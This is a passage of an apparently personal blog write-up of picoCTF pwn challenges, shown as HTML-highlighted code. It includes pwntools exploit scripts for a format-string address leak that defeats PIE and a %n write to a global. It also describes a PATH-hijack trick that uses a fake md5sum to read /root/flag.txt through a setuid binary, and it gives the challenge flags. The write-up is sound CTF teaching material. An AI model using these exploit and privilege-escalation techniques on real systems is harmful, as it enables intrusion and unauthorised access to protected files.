class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">call_functions</span><span class="params">()</span> &#123;</span><br><span class="line">  <span class="type">char</span> buffer[<span class="number">64</span>];</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter your name:&quot;</span>);</span><br><span class="line">  fgets(buffer, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  <span class="built_in">printf</span>(buffer);</span><br><span class="line"></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> val;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot; enter the address to jump to, ex =&gt; 0x12345: &quot;</span>);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%lx&quot;</span>, &amp;val);</span><br><span class="line"></span><br><span class="line">  <span class="type">void</span> (*foo)(<span class="type">void</span>) = (<span class="type">void</span> (*)())val;</span><br><span class="line">  foo();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">win</span><span class="params">()</span> &#123;</span><br><span class="line">  FILE *fptr;</span><br><span class="line">  <span class="type">char</span> c;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;You won!\n&quot;</span>);</span><br><span class="line">  <span class="comment">// Open file</span></span><br><span class="line">  fptr = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> (fptr == <span class="literal">NULL</span>)</span><br><span class="line">  &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Cannot open file.\n&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Read contents from file</span></span><br><span class="line">  c = fgetc(fptr);</span><br><span class="line">  <span class="keyword">while</span> (c != EOF)</span><br><span class="line">  &#123;</span><br><span class="line">      <span class="built_in">printf</span> (<span class="string">&quot;%c&quot;</span>, c);</span><br><span class="line">      c = fgetc(fptr);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">  fclose(fptr);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">  signal(SIGSEGV, segfault_handler);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>); <span class="comment">// _IONBF = Unbuffered</span></span><br><span class="line"></span><br><span class="line">  call_functions();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Checksec</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64</span><br><span class="line">RELRO:      Full RELRO</span><br><span class="line">Stack:      Canary found</span><br><span class="line">NX:         NX enabled</span><br><span class="line">PIE:        PIE enabled</span><br><span class="line">SHSTK:      Enabled</span><br><span class="line">IBT:        Enabled</span><br><span class="line">Stripped:   No</span><br></pre></td></tr></table></figure><h2 id="Attack-analysis"><a href="#Attack-analysis" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p>My way is fast read all the code, so i can see vuln here, because printf need 2 parameter atleast to be safe, instead, it print the <code>buffer</code> value directly and it can has <code>format string</code> vulnerability</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">call_functions</span><span class="params">()</span> &#123;</span><br><span class="line">  <span class="type">char</span> buffer[<span class="number">64</span>];</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter your name:&quot;</span>);</span><br><span class="line">  fgets(buffer, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  <span class="built_in">printf</span>(buffer);</span><br></pre></td></tr></table></figure><p>follow the root to find the branch, you can see <code>win()</code> function won’t be called in anywhere, so we have to call it by ourself.</p><p>And program flow is call <code>call_function()</code> to enter name, which has vuln <code>format string</code>. Then enter address to jump. So we can call <code>win()</code></p><p>so we need <code>win()</code> address, but we got <code>PIE</code>, you can see it in <code>checksec</code>. It means address will be random.</p><p>The address will be calculated follow format : <code>base address + offset</code></p><p>But as you know in code, random not really random, it needs some thing really random to calculate the random, like time. In binary we got <code>ASLR</code>, it’s make <code>base address</code> random with everytime we run, on each computer. In the other hands, it means offset is <code>permanent</code></p><p>so if we can leak any address, we can calculate to base address, hence, we can know every address by know its offset.</p><p>In summary, we have a reverse road :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">enter <span class="title function_">win</span><span class="params">()</span> address ← </span><br><span class="line">know <span class="title function_">win</span><span class="params">()</span> address ←</span><br><span class="line">know win’s offset and base address ← </span><br><span class="line">leak some address from binary</span><br></pre></td></tr></table></figure><h2 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">    gdb.attach(p,</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">c</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">leak_to_base = <span class="number">0x1441</span></span><br><span class="line">win_to_base = <span class="number">0x136a</span></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Enter your name:&#x27;</span>,<span class="string">b&#x27;%19$p&#x27;</span>)</span><br><span class="line"></span><br><span class="line">leaked_address = <span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">base = leaked_address - leak_to_base</span><br><span class="line">win = base + win_to_base</span><br><span class="line"></span><br><span class="line">log.info(<span class="string">&#x27;binary leaked : &#x27;</span> + <span class="built_in">hex</span>(leaked_address))</span><br><span class="line">log.info(<span class="string">&#x27;base : &#x27;</span> + <span class="built_in">hex</span>(base))</span><br><span class="line">log.info(<span class="string">&#x27;win : &#x27;</span> + <span class="built_in">hex</span>(win))</span><br><span class="line"></span><br><span class="line">payload = <span class="built_in">hex</span>(win).encode()</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;0x12345:&#x27;</span>,payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>flag : <code>picoCTF&#123;p13_5h0u1dn&#39;7_134k_bb903549&#125;</code></p><h1 id="hash-only-1-2"><a href="#hash-only-1-2" class="headerlink" title="hash-only-1-2"></a>hash-only-1-2</h1><h2 id="Description-1"><a href="#Description-1" class="headerlink" title="Description"></a>Description</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Author: Junias Bonou</span><br><span class="line"></span><br><span class="line">Description</span><br><span class="line">Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!</span><br><span class="line">Additional details will be available after launching your challenge instance.</span><br></pre></td></tr></table></figure><h2 id="Source-1"><a href="#Source-1" class="headerlink" title="Source"></a>Source</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> __fastcall <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 v3; <span class="comment">// rax</span></span><br><span class="line">  __int64 v4; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v5; <span class="comment">// rax</span></span><br><span class="line">  __int64 v6; <span class="comment">// rdx</span></span><br><span class="line">  __int64 v7; <span class="comment">// rax</span></span><br><span class="line">  __int64 v8; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v9; <span class="comment">// ebx</span></span><br><span class="line">  <span class="type">char</span> v11; <span class="comment">// [rsp+Bh] [rbp-45h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v12; <span class="comment">// [rsp+Ch] [rbp-44h]</span></span><br><span class="line">  _BYTE v13[<span class="number">40</span>]; <span class="comment">// [rsp+10h] [rbp-40h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v14; <span class="comment">// [rsp+38h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line">  v14 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  v3 = std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;std::cout, <span class="string">&quot;Computing the MD5 hash of /root/flag.txt.... &quot;</span>, envp);</span><br><span class="line">  v4 = std::ostream::<span class="keyword">operator</span>&lt;&lt;(v3, &amp;std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">  std::ostream::<span class="keyword">operator</span>&lt;&lt;(v4, &amp;std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">  <span class="built_in">sleep</span>(<span class="number">2u</span>);</span><br><span class="line">  std::allocator&lt;<span class="type">char</span>&gt;::<span class="built_in">allocator</span>(&amp;v11);</span><br><span class="line">  std::string::<span class="built_in">basic_string</span>(v13, <span class="string">&quot;/bin/bash -c &#x27;md5sum /root/flag.txt&#x27;&quot;</span>, &amp;v11);</span><br><span class="line">  std::allocator&lt;<span class="type">char</span>&gt;::~<span class="built_in">allocator</span>(&amp;v11);</span><br><span class="line">  <span class="built_in">setgid</span>(<span class="number">0</span>);</span><br><span class="line">  <span class="built_in">setuid</span>(<span class="number">0</span>);</span><br><span class="line">  v5 = (<span class="type">const</span> <span class="type">char</span> *)std::string::<span class="built_in">c_str</span>(v13);</span><br><span class="line">  v12 = <span class="built_in">system</span>(v5);</span><br><span class="line">  <span class="keyword">if</span> ( v12 )</span><br><span class="line">  &#123;</span><br><span class="line">    v7 = std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;std::cerr, <span class="string">&quot;Error: system() call returned non-zero value: &quot;</span>, v6);</span><br><span class="line">    v8 = std::ostream::<span class="keyword">operator</span>&lt;&lt;(v7, v12);</span><br><span class="line">    std::ostream::<span class="keyword">operator</span>&lt;&lt;(v8, &amp;std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">    v9 = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    v9 = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  std::string::~<span class="built_in">string</span>(v13);</span><br><span class="line">  <span class="keyword">return</span> v9;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Attack-analysis-1"><a href="#Attack-analysis-1" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p><em>Before run the program, create <code>/root/flag.txt</code> to make sure it run the properly way.</em></p><p>The program will execute the command :  <code>/bin/bash -c ‘md5sum /root/flag.txt’</code></p><p>md5sum is a command to verify integrity of a file, but we will ignore it, because in this challenge we will tricked the system.</p><p><code>md5sum</code> just a command like <code>ls</code>,<code>cd</code>,… are bash scripts too but why we don’t need full path to call it ? </p><p>let’s create a bash script to see how its call will different from those command : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ echo echo <span class="string">&#x27;im in&#x27;</span> &gt; script</span><br><span class="line"></span><br><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ ./script</span><br><span class="line">im in</span><br><span class="line"></span><br><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ script</span><br><span class="line">Script started, output log file is <span class="string">&#x27;typescript&#x27;</span>.</span><br><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$</span><br></pre></td></tr></table></figure><p>hmmm… Why i can’t execute like <code>ls</code> or <code>md5sum</code> ? I have to put <code>./</code> in the head to run. So it means system doesn’t mean which command i want to execute ?</p><p> Yes, exactly how it works. You should use the command</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo $PATH</span><br></pre></td></tr></table></figure><p>to see which path system know to execute, and when you call <code>ls</code> command, it will find in all the path listed in the above command, to locate <code>ls</code> </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ echo $PATH</span><br><span class="line">/home/d4vicl/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/games:...</span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ which ls</span><br><span class="line">/usr/bin/ls</span><br></pre></td></tr></table></figure><p><code>‘which ls’</code> to show where <code>ls</code> locate, and when you read <code>$PATH</code>, you can see it has <code>/usr/bin</code> - the folder contain <code>ls</code> command.</p><p>so to run a program like this (the <code>script</code> is the file i created above)</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ script</span><br><span class="line">im in</span><br></pre></td></tr></table></figure><p>you will need to use this command : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ PATH=.:$PATH</span><br></pre></td></tr></table></figure><p>PATH : is a enviroment variable name</p><p> $PATH : is a value of PATH</p><p>so it means it will concate current directory (the place you’re standing) <code>.</code> to $PATH - which showed above. </p><p>Hence, when you use any command, it will find in <code>.</code> - the current directory.</p><p>Specially, it will find command in <code>.</code> first, after that are all the directory listed in order left to right.</p><p><em>So what if  exist two command with the same name but in different directory ? Which command will be executed ?</em> </p><ul><li>the answer is the one when it found first, then the others which it can find.</li></ul><p>So if we use</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PATH=.:$PATH</span><br></pre></td></tr></table></figure><p> it will include <code>.</code> in head. That how we take advantage from it !<br>back to the program, it will call : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">std::string::<span class="built_in">basic_string</span>(v13, <span class="string">&quot;/bin/bash -c &#x27;md5sum /root/flag.txt&#x27;&quot;</span>, &amp;v11);</span><br><span class="line">std::allocator&lt;<span class="type">char</span>&gt;::~<span class="built_in">allocator</span>(&amp;v11);</span><br><span class="line"><span class="built_in">setgid</span>(<span class="number">0</span>);</span><br><span class="line"><span class="built_in">setuid</span>(<span class="number">0</span>);</span><br><span class="line">v5 = (<span class="type">const</span> <span class="type">char</span> *)std::string::<span class="built_in">c_str</span>(v13);</span><br><span class="line">v12 = <span class="built_in">system</span>(v5);</span><br></pre></td></tr></table></figure><p>you can see it set <code>gid(0)</code> which means every group ID’s process will be <code>0</code> - root process</p><p>we don’t need to know if it set successfully or not, because if it return <code>0</code>, it means this file wil get <code>root</code> to run. </p><p><code>-1</code> means it already run in <code>root</code> (lol).</p><p> so we don’t have root permission, to read <code>/root/flag.txt</code>, only need to fake md5sum to read. </p><p>create a <code>md5sum</code> file with this content in current directory :</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /root/flag.txt</span><br></pre></td></tr></table></figure><p>then, we could run <code>flaghasher</code> again to get flag.</p><p>with <code>hash-only-2</code> we will use <code>sh</code> command when ssh connected, then do the same to <code>hash-only-1</code></p><p>flag 1: <code>picoCTF&#123;sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_ae1d8678&#125;</code></p><p>flag 2: <code>picoCTF&#123;Co-@utH0r_Of_Sy5tem_b!n@riEs_1a74f5fd&#125;</code></p><h1 id="format-string-2"><a href="#format-string-2" class="headerlink" title="format string 2"></a>format string 2</h1><h2 id="Description-2"><a href="#Description-2" class="headerlink" title="Description"></a>Description</h2><h2 id="Source-2"><a href="#Source-2" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> sus = <span class="number">0x21737573</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">1024</span>];</span><br><span class="line">  <span class="type">char</span> flag[<span class="number">64</span>];</span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;You don&#x27;t have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%1024s&quot;</span>, buf);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Here&#x27;s your input: &quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(buf);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (sus == <span class="number">0x67616c66</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;I have NO clue how you did that, you must be a wizard. Here you go...\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Read in the flag</span></span><br><span class="line">    FILE *fd = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">    fgets(flag, <span class="number">64</span>, fd);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, flag);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;sus = 0x%x\n&quot;</span>, sus);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;You can do better!\n&quot;</span>);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>checksec</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64</span><br><span class="line">RELRO:      Partial RELRO</span><br><span class="line">Stack:      No canary found</span><br><span class="line">NX:         NX enabled</span><br><span class="line">PIE:        <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x400000</span>)</span></span></span><br><span class="line"><span class="function">SHSTK:      Enabled</span></span><br><span class="line"><span class="function">IBT:        Enabled</span></span><br><span class="line"><span class="function">Stripped:   No</span></span><br></pre></td></tr></table></figure><h2 id="Attack-analysis-2"><a href="#Attack-analysis-2" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p>You can see no PIE, so binary will be static address. </p><p>With format string vulnerabiliy :</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Here&#x27;s your input: &quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(buf); <span class="comment">//vuln</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line"><span class="built_in">fflush</span>(stdout); </span><br></pre></td></tr></table></figure><p>Our goal is print the flag by trigger the condition : <code>sus == 0x67616c66</code>, and we know <code>sus</code>‘s address because of no PIE.</p><p>So we know the <code>sus</code>‘s address, value to trigger and format string, so we will use <code>%n</code> to write a value for <code>sus</code> </p><p>Below here is shortest payload by using framework in pwntools.</p><h2 id="Payload-1"><a href="#Payload-1" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">sus = <span class="number">0x404060</span> <span class="comment"># goal : sus = 0x67616c66</span></span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">14</span>,&#123;sus : <span class="number">0x67616c66</span>&#125;)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;What do you have to say?\n&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>handcraft payload: </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">sus = <span class="number">0x404060</span> <span class="comment"># goal : sus = 0x6761 6c66</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">f&#x27;%<span class="subst">&#123;<span 